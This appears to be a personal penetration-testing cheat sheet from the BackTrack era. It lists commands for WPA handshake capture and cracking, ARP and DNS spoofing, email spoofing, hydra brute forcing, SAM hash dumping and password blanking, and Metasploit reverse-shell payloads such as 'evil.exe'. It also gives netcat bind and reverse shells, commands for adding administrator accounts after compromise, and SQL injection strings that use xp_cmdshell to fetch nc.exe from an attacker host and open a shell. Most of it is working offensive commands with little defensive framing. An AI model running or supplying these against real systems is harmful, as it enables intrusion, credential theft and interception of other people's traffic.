Table of Contents

cracking wpa-psk (with clients)

iwconfig	checking wireless interfaces
airmon-ng	checking monitoring mode
airmon-ng start interface	activate monitoring mode
airodump-ng --encrypt wpa interface	list all access points using wpa-psk
	scan in progress.... keep information below: **ESSID** (target wireless name) **BSSID** (Access point MAC Address) **Station MAC** **Channel**
airodump-ng --write sniff.cap --channel 11 --bssid xx:xx --encrypt wpa interface	sniff the channel and log the result in a capture file
aireplay-ng -0 1 -a BSSID -c station MAC interface	force disconnection of the station and catch the handshake
aircrack-ng sniff.cap	check out to see if handshake capture
aircrack-ng -c yourcapfile.cap -w yourwordslist.txt	cracking

connecting via wireless

sudo iwconfig eth1 mode managed essid BTHomeHub-6EE6 key 3d357f1954
ifconfig eth1
sudo dhclient eth1

starting wicd network manager

sudo wicd	
wicd	

mounting hardrives

sudo mount -t ntfs-3g /dev/sdb1 /mnt/BACKUP	
sudo mount /dev/sda1 /mnt/WIN	
mount /dev/scd1 /mnt/cdrom	

starting whole networking

sudo /etc/init.d/networking start

working with trash

apt-get install trash-cli	
empty-trash	
list-trash	
$USERS_HOME/.local/share/Trash/files/	localisation of trash folder

killing a process

kill -SIGKILL 5959

adding to autostart in Linux

cd /root/.kde3/Autostart	
ln -s /usr/bin/leetmode leetmode	making link to a program

discus	**checking disk space**
uname -a	**checking kernel version**
lsusb	**checking for usb devices**
dmesg | egrep "rtl|wlan"	**checking for installed wifi cards**

iwlist wlan0 scan	**scanning with iwlist**
ifconfig wlan0 up	**putting wlan0 up**

using metasploit with scan results from Openvas/Nessus

nessus --dot-nessus file.nessus -i "Report Name" -o converted.nbe	**converting *.nessus file to *.nbe file**
load db_postgres	loading postgres database matrix
db_create vic1	
db_import_nessus_nbe vic1.nbe	
db_hosts	
db_autopwn	
db_autopwn -t -p -e -b	launch a full scale exploitation
db_autopwn -t -x	analise potential vulnerabilities

http://blog.metasploit.com/2006_09_01_archive.html

following victim bowser with ettercap and MITM

sudo ettercap -T -Q -M arp:remote -i eth1 /192.168.1.66/ // -P remote_browser

the -T starts it in text mode.
the -Q will make ettercap be superQuiet (not print raw packets in the terminal window)
the -M starts man in the middle mode, and the arp:remote is the type of poisoning, and remote is a parameter for MITM. these commands can be combined into one switch like -TQM but for clarity i put them separately.
the -i eth1 specifies the network interface and is optional, if you have only one network interface it is probably not needed. in this case, i was on a laptop using a wifi connection to my AP. this works just as good as a wired connection, and takes no other preparation other than being properly associated with the access point.
the /192.168.1.66/ is the victim ip and // means 'the rest of the segment'. i tried it without the // in hopes that it wouldn't have to poison the whole segment, but it didn't seem to work. i know that using ettercap in other ways you can single out one machine without making a lot of noise on the network.
the -P remote_browser is the plugin to follow the victim browser

when you are done, it is IMPORTANT to end ettercap properly with a q. this re-arps the victims, and restores the network to normal. be careful with ettercap, you have just potentially poisoned the ARP cache on 255 machines, if you just close the window, you may leave the network in a shambles, and IDS systems may easily point to your IP as a problem child.

http://forum.s-t-d.org/viewtopic.php?id=2594

capturing image from network and displaying in a X Window

sudo driftnet -i eth1

when u get 403:FORBIDDEN, use WGET to spoof browser

spoof the site by using the wget '-U' option, giving it a user-agent description of another browser.

wget -U 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20070802 SeaMonkey/1.1.4' http://yourURL.com

To see what a working browser sends as a user-agent header, you can run netcat on your localhost, and have a browser try to fetch a page from it:

nc -l -p 8000 -v; now, in your browser, go to 'http://localhost:8000'

spoofing emails

/etc/init.d/sendmail start
sendEmail -f 123@123.com -m welcome to the matrix -t napoleon182@interia.pl

sendEmail -f xxxx1@gmail.com -t xxxxx2@mailinator.com -u testsubject -m testmessage -s smtp.gmail.com:465 -o tls=yes -xu xxxxx3 -xp **(password)** *//if port is no good, try 587*

configuring Sendmail to send mail from command line

http://www.ping.co.il/node/2/

cracking Speedtouch serial key

http://www.nickkusters.com/SpeedTouch.aspx

Backtrack COMMANDS:

Networking:

dhclient	get a new IP address
Static IP address:	
ifconfig eth0 192.168.0.100/24	set IP address & sub net mask
route add default gw 192.168.0.1	set default gateway
echo nameserver 192.168.0.1 > /etc/resolv.conf	set DNS server

Services:

Apache server:
apachectl start

apachectl stop

SSH server:

sshd-generate
/usr/sbin/sshd
pkill sshd
ssh user@targetIP

TFTP server:

atftpd --daemon --port 69 /tmp/
pkill tftpd

VNC server:

vncserver	start server on TCP port 5901
pkill Xvnc	

Check what ports are listening:

netstat -ant	show listening TCP ports
netstat -anu	show listening UDP ports
netstat -ant | grep 22	verify ssh has started
netstat -anu | grep 69	verify tftp has started

Basics:

Mount a local hard drive:

mount /dev/hda1 /mnt/hda1
ls -l /mnt/hda1

Mount a Windows network share:

share <user> <targetIP> <remote share>
share admin 10.1.1.2 c$
Enter a password for the remote share.
ls -l /mnt/share/
umount /mnt/share

Edit a file:

nano test.sh	create a new file and open it
<ctrl> x	exit
y	save modified buffer
<enter>	write changes

chmod 755 test.sh	make the file executable
./test.sh	run the file

Compile a program:

gcc -o newname exploit.c
gcc -o dcom 66.c
./dcom

Install a new program:

tar zxvf program.tar.gz
cd to the new program folder — method 2: bzip2 -cd program.tar.bz2 | tar xvf -
./configure
make
su root
make install

Footprinting:

Whois:

whois target.com	contact info, emails, dates, name servers
ping www.target.com	IP address of web server
whois targetIP	network range

DNS:

dig target.com any	maps a domain to an IP address
A host	maps an IP address to a domain
PTR pointer	server name for a delegated zone
NS name server	zone transfer and record caching
SOA start of authority	used to locate services in the network
SRV service locator	
MX mail	SMTP server
host -l target.com <name server>	zone transfer

http://centralops.net/
http://clez.net/net.app
http://www.robtex.com/
http://serversniff.net/

Scanning:

scanrand -b10M targetIP:quick

nmap:

-sS	TCP SYN scan or Stealth, half open (default)
-sT	TCP full connect (very noisy)
-sU	UDP scan
-PS	SYN packet discovery (best against stateful firewalls)
-PA	ACK packet discovery (best against stateless firewalls)
-PN	don't ping
-n	no reverse DNS lookup
-A	combines -O and -sV
-O	OS fingerprinting
-sV	service version (banner)
-p	ports to scan (T:port,U:port)
-T	timing (0-5) paranoid, sneaky, polite, normal, aggressive, insane
-iL	input list of hosts to scan
-oG	grepable output to a file
nmap -sS -PN -n targetIP	
nmap -sU -PN -n targetIP	
nmap -sT -PN -n targetIP -A -p open ports -T5 -oG scan.txt	
nmap -sS -p 135,139,445 targetIP	
nmap -sS -p T:1433,U:1434 targetIP	
amap:	Take the results from nmap and check for services on uncommon ports.
amap -i scan.txt	

OS Fingerprinting

p0f -i eth0 -U -p	use interface eth0, don't display unknown signatures, promiscuous
point a browser to the targetIP	read traffic on p0f
xprobe2 targetIP	

Banner Grabbing

nc targetIP port	check if the port is open
nc 10.1.1.2 80	
telnet targetIP port	telnet may yield slightly different results
HEAD /HTTP/1.0	

<enter 2x>	
wget targetIP	downloads the index.html file
cat index.html | more	view file one page at a time, space bar for next page
q	exit file

Windows enumeration:

nmap -sS -p 139,445 targetIP	
cd /pentest/enumeration/smb-enum	
nbtscan -f targetIP	check to see if NetBIOS is enabled
smbgetserverinfo -i targetIP	name, OS and workgroup
smbdumpusers -i targetIP	list users
smbclient -L //targetIP	list shares
Using Windows	
net use \\targetIP\ipc$ "" /u:""	start a NULL session
net view \\targetIP	view shares
smbclient:	
smbclient -L hostName -I targetIP	enumerate shares
smbclient -L hostName/share -U ""	connect to open share with a blank user name
smbclient -L hostName -I targetIP -U admin	connect to open share with user name admin
rpcclient:	
rpcclient targetIP -U “”	start a NULL session
netshareenum	enumerate shares
enumdomusers	enumerate users
lsaenumsid	enumerate domain SIDs
queryuser RID	user info, try 500, 501, 1000, 1001
createdomuser	create user account

ARP Spoofing

ettercap:

nano /usr/local/etc/etter.conf

Under the Linux section, uncomment both lines under iptables.

Sniff > Unified sniffing > Network interface: eth0 > OK

Hosts > Scan for hosts (do this two times)

Hosts > Hosts list

Select the default gateway > Add to Target 1

Select the target > Add to Target 2
Mitm > Arp poisoning > Sniff remote connections > OK
Start > Start sniffing

dsniff -i eth0
urlsnarf -i eth0
msgsnarf -i eth0
driftnet -i eth0

dns spoofing:
nano /usr/local/share/ettercap/etter.dns
Edit the Microsoft lines (target URL) to redirect to the attacker.

Plugins > Manage the plugins > dns_spoof
Mitm > Arp poisoning > Sniff remote connections > OK
Start > Start sniffing

Exploits

cd /pentest/exploits/milw0rm
cat sploitlist.txt | grep -i [exploit]

Some exploits may be written for compilation under Windows, while others for Linux.
You can identify the environment by inspecting the headers.
cat exploit | grep "#include"

Windows: process.h, string.h, winbase.h, windows.h, winsock2.h
Linux: arpa/inet.h, fcntl.h, netdb.h, netinet/in.h, sys/sockt.h, sys/types.h, unistd.h

Grep out Windows headers, to leave only Linux based exploits:
cat sploitlist.txt | grep -i exploit | cut -d " " -f1 | xargs grep sys | cut -d ":" -f1 | sort -u

Metasploit:

svn update	Update framework
Web Interface:	
./msfweb	

Console:

./msfconsole

help

show <option>

search <name>

use <exploit name>

show options

set <OPTION NAME> <option>

show payloads

set PAYLOAD <payload name>

show options

set <OPTION NAME> <option>

show targets

set TARGET <target number>

exploit

Interactive sessions:

sessions -l	list active sessions
sessions -i <ID>	sessions -i 4, interact with session
sessions -k <ID>	sessions -k 4, kill session 4
<ctrl> z	background a session
<ctrl> c	kill a session
jobs	list exploit jobs running
jobs -K	kill all jobs

Auxiliary scanners:

show auxiliary

use <auxiliary name>

set <OPTION NAME> <option>

run

scanner/discovery/sweep_udp

scanner/smb/version

scanner/mssql/mssql_ping

scanner/mssql/mssql_login

Payloads:

Attacker behind firewall: bind shell

Target behind firewall: reverse shell

Metapreter:

Automated:

db_import_nessus_nbe	import Nessus results in NBE format
db_import_nmap_xml	import nmap results in XML format (-oX)
cd /pentest/exploit/framework3	
./msfconsole	
load db_sqlite3	
db_destroy pentest	delete old database called pentest
db_create pentest	create a new database call pentest
db_nmap targetIP	run nmap through the framework and store results in database
db_hosts	show hosts discovered
db_services	show services running on each host
db_autopwn	show options
db_autopwn -t -p -e	select modules based on open ports, show matching exploits, exploit
Command Line Interface:	
./msfcli | grep -i <name>	search for an exploit or auxiliary
./msfcli <exploit or auxiliary> S	summary info
./msfcli <exploit name> <OPTION NAME>=<option> PAYLOAD=<payload name> E	

Payload generator:

./msfpayload <payload> <variable=value> <output type>

S summary and options of payload

C C language

P Perl

y Ruby

R Raw, allows payload to be piped into msfencode and other tools

J JavaScript

X Windows executable

./msfpayload windows/shell/reverse_tcp LHOST=10.1.1.1 C

./msfpayload windows/meterpreter/reverse_tcp LHOST=10.1.1.1 LPORT=4444 X > evil.exe

Encode shellcode:

./msfencode <options> <variable=value>

Pipe the output of msfpayload into msfencode, show bad characters and list available encoders.

./msfpayload linux_ia32_bind LPORT=4444 R | ./msfencode -b '\x00' -l

Choose the PexFnstenvMor encoder and format the output to C.

./msfpayload linux_ia32_bind LPORT=4444 R | ./msfencode -b '\x00' -e PexFnstenvMor -t c

---

What to do after gaining a remote shell

hostname

net users

net user x hack /add

net user x /add

net localgroup

net localgroup administrators

net localgroup administrators x /add

Don't use interactive programs like FTP from a remote shell.

TFTP

attack box 10.1.1.2

cp /pentest/windows-binaries/tools/nc.exe /tmp/

target box
tftp -i 10.1.1.2 GET nc.exe

TFTP copies files with read only attributes. So to delete the file:
attrib -r nc.exe
del nc.exe

Netcat

attacker: 10.1.1.1
target: 10.1.1.2

Port scanner:
nc -v -z 10.1.1.2 1-1024 scan ports 1 to 1024

Chat session:
target: nc -lvp 4444 start Netcat and listen verbosely on port 4444
attacker: nc -v 10.1.1.2 4444

Transfer file to target:
target: nc -lvp 4444 > output.txt
attacker: nc -v 10.1.1.2 4444 < test.txt

Bind shell:
target: nc -lvp 4444 -e cmd.exe should be sitting at a command prompt of the target
attacker: nc -v 10.1.1.2 4444

Reverse shell:
target: nc -lvp 4444
attacker: nc -v 10.1.1.2 4444 -e /bin/bash
The target should be sitting at an invisible command prompt of the attacker.
You will not see a prompt. Issue any linux command to verify.

Passwords

Word list:
zcat /pentest/password/dictionaries/wordlist.txt.Z > words
cat words | wc -l
About 306,000 passwords.

Brute force:

ftp with a user name ftp

hydra -l ftp -P words -v targetIP ftp

pop3 with a user name muts

hydra -l muts -P words -v targetIP pop3

snmp

hydra -P words -v targetIP snmp

Microsoft VPN

nmap -p 1723 targetIP

dos2unix words

cat words | thc-pptp-bruter targetIP

WYD:

Use wget to download specific files.

wget -r www.target.com –accept=pdf -f switch will read pwdump files

wyd.pl -o output.txt www.target.com/

cat output.txt | more

SAM file:

%SYSTEMROOT%/system32/config

%SYSTEMROOT%/repair backup copy not locked by the OS

Dumping hashes:

./msfcli exploit/windows/dcerpc/ms03_026_dcom RHOST=targetIP PAYLOAD=windows/meterpreter/bind_tcp E

meterpreter > upload -r /tmp/pwdump6 c:\\windows\\system32\\

meterpreter > execute -f cmd -c

meterpreter > interact x where x is Channel created.

C:\WINDOWS\system32> pwdump \\127.0.0.1

John the Ripper:

Paste the hashes into a new file.

nano hash.txt

Delete unneeded accounts.

cp hash.txt /pentest/password/john-1.7.2/run/

cd /pentest/password/john-1.7.2/run/

./john hash.txt

Rainbow Tables:

rcrack *.rt -f hash.txt

Physical Access

Mount a NTFS share in read/write mode:

Boot your box with Backtrack.

mount

umount /mnt/hda1

modprobe fuse

ntfsmount /dev/hda1 /mnt/hda1

mount

ls -l /mnt/hda1

Dump the SAM file:

bkhive /mnt/sda1/WINDOWS/system32/config/system system.txt

samdump2 /mnt/sda1/WINDOWS/system32/config/sam system.txt > hash.txt

cat hash.txt

Modify SAM file directly:

chntpw /mnt/sda1/WINDOWS/system32/config/SAM

Blank the password. *

Do you really wish to change it? y

Write hive files? y

unmount /mnt/sda1

reboot

SQL Injection

nmap -sS -p 1521 targetIP	Oracle
nmap -sS -p T:1433,U:1434 targetIP	MS SQL

Release

SQL Server 2000 RTM

SQL Server 2000 SP1

SQL Server 2000 SP2

SQL Server 2000 SP3

SQL Server 2000 SP3a

SQL Server 2000 SP4

SQL Server 2005 RTM

SQL Server 2005 SP1

SQL Server 2005 SP2

Authentication bypass:

' or 1=1-- minus minus closes the SQL query, everything after it is ignored

Enumerating table names:

' having 1=1--

' group by table having 1=1--

' group by table, table2 having 1=1--

' group by table, table2, table3 having 1=1--

Enumerating column types:

union select sum(column) from table --

union select sum(column2) from table --

Adding data:

' ; insert into table values('value','value2','value3')--

MS SQL stored procedure:

Output the database info into an html file, that you can view with a browser.

' ; exec sp_makewebtask "c:\Inetpub\wwwroot\test.html", "select * from table" ; --

www.target.com/test.html

Run ipconfig on target and write to a file, that you can view with a browser.

' or 1=1; exec master..xp_cmdshell ' "ipconfig" > c:\Inetpub\wwwroot\test.txt' ;--

www.target.com/test.txt

Upload netcat and spawn a reverse shell.

' or 1=1; exec master..xp_cmdshell ' "tftp -i attackIP GET nc.exe && nc.exe attackIP 53 -e cmd.exe' ; --

attacker: nc -lvp 53

Alternate Data Streams

Hide netcat inside a text file. Note netcat must be located in the current directory.

echo "This is a test" > test.txt

type nc.exe > test.txt:nc.exe

del nc.exe

start ./test.txt:nc.exe

A White Hat's Pen Test by Muts

nslookup

set type=ns

set type=mx

nmap -sS

nmap -sU

nc -v target.com 23

snmpenum

Solarwinds

tftp the router config file

Use a perl script to decrypt the passwords

Find internal mail server in config file.

nc -n internalserver.com 80

Edit config file to open more port on the router, 135,139,445,1000

Use Metasploit to send RPC exploit

tftp -i attackIP GET pwdump4.exe

pwdump4.exe \\127.0.0.1>hashes.txt

tftp -i attackIP PUT hashes.txt

Crack hashes with rainbow table.

Use Remote Desktop to connect to server.
